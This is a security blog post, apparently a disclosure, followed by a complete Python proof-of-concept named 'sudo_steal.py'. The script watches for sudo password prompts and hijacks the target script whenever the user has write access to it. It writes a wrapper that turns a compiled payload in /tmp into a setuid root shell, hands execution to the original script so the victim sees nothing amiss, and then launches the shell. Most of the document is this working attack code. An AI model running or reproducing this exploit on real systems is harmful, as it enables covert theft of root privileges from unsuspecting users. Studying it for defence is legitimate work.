A while ago I posted about how sudo can be easily backdoored by dropping a fake
sudo script into the user's PATH:
https://m4.rkw.io/blog/getting-root-without-an-exploit--stealth-sudo-backdoor...
Another attack vector for sudo is monitoring the process list for invocations of
sudo where the user is being prompted for their sudo password and the target
script/binary is user-writable. If a rogue process can determine this scenario
they have a narrow window in which the target script/binary can be replaced with
something else in order to steal root privileges.
The proof of concept below demonstrates how this can be done, and includes a
simple shell wrapper that forwards the sudo execution on to a copy of the
original script so the user likely won't notice anything.
https://m4.rkw.io/sudo_steal.py.txt
0d5bb04be60acf3ebb7a7f16932ebd8b8f75636ede85e4e5bcf1f08fbe5e25da
-------------------------------------------------------------------------------
#!/usr/bin/env python2.7
#
# sudo hijack PoC by m4rkw
#
# test on macos and linux
#
# run this in one terminal window, then open another and execute something with
# sudo that you have write access to.
#
# in the time it takes you to enter your sudo password, sudo_steal.py will hijack
# the target in order to steal a root shell, and then pass the execution chain
# on to a copy of the script so the user running sudo won't know anything is amis.
import os
import sys
import time
# we can only hijack sudo if the target command/script is writable
def is_writable(path):
try:
with open(path,'a+') as f:
pass
return True
except:
pass
return False
# most user-owned stuff executed with sudo will be at a relative path so we
# need to recursively search for it as quickly as possible.
#
# we only have the time it takes the user to enter their password to find
# the target and hijack it, so this needs to be as fast as possible. this
# should be quick enough on most mac or linux systems, but if you have a
# bunch of directories with lots of files it may be too slow.
def fast_find_file(filename):
matches = []
h = os.environ['HOME']
home_path = "%s/%s" % (h, filename)
if os.path.exists(home_path) and is_writable(home_path):
matches.append(home_path)
dirs = []
for x in os.popen("ls -a1 %s" % (h)).read().rstrip().split("\n"):
if os.path.isdir("%s/%s" % (h, x)) and not os.path.islink("%s/%s" % (h, x)):
if x not in [
'.', '..',
'Library',
'Music',
'Pictures',
'Documents',
'Movies',
'VirtualBox VMs',
'.cups',
'.vagrant.d',
'.ansible'
]:
dirs.append("%s/%s" % (h, x))
cmd = "find %s -type f -name %s 2>/dev/null" % (" ".join(dirs), filename)
for x in os.popen(cmd).read().rstrip().split("\n"):
if os.path.exists(x) and is_writable(x):
matches.append(x)
if len(matches) == 0:
return False
return matches
# generate a temporary filename to move the hijacked script to
def get_target(match):
target = match + 'x'
while os.path.exists(target):
target += 'x'
return target
# check if the process is still alive
def alive(pid):
return os.system("ps %s 1>/dev/null" % (pid)) == 0
# we have a list of paths that may be the target, so hijack and redirect
# them all
def exploit(pid, matches):
remap = {}
remapped = []
for match in matches:
remap[match] = get_target(match)
print "hijacking %s..." % (match)
try:
# move the target out of the way and drop in a bash redirect script
# that sets 0:0 and +s on our rootshell payload
os.rename(match, remap[match])
with open(match,'w') as f:
f.write("#!/bin/bash\n")
f.write("chown 0:0 /tmp/.,\n")
f.write("chmod 4755 /tmp/.,\n")
f.write("%s $@\n" % (remap[match]))
os.chmod(match, 0755)
remapped.append(match)
except:
pass
if len(remapped) == 0:
print "hijack failed."
return
success = False
while True:
if os.stat("/tmp/.,").st_uid == 0:
success = True
break
if not alive(pid):
break
time.sleep(1)
# move the hijacked files back into place
for match in remapped:
os.rename(remap[match], match)
if success:
os.system("/tmp/.,")
sys.exit(0)
print "exploit failed."
# simple rootshell payload
with open("/tmp/.,.c","w") as f:
f.write("#include <unistd.h>\n")
f.write("int main(){setuid(0);seteuid(0);execl(\"/bin/bash\",")
f.write("\"bash\",\"-c\",\"rm -f /tmp/.,; /bin/bash\",NULL);")
f.write("return 0;}\n")
os.system("gcc -o /tmp/., /tmp/.,.c; rm -f /tmp/.,.c")
# continuously scan for hijackable processes
while True:
ps_lines = os.popen("ps -a -o pid= -o ppid= -o command= |xargs -L1").read().rstrip().split("\n")
children = {}
# build a map of children so we can avoid trying to hijack sudo
# processes that have children (i.e. already authenticated)
for line in ps_lines:
seg = line.split(' ')
pid = seg[0]
ppid = seg[1]
if not ppid in children.keys():
children[ppid] = []
children[ppid].append(pid)
# look for invocations of sudo that have prompted the user for their password
# and where the target binary/script is user-writable
for line in ps_lines:
seg = line.split(' ')
if seg[2] == 'sudo':
print "potential target: %s" % (line)
pid = seg[0]
# if sudo has child processes then it's already authenticated
if pid in children.keys():
print "%s has children, skipping" % (pid)
continue
args = seg[3:]
while True:
matches = fast_find_file(" ".join(args))
if matches:
break
args = args[0:len(args)-1]
if len(args) == 0:
break
if matches:
exploit(pid, matches)
time.sleep(1)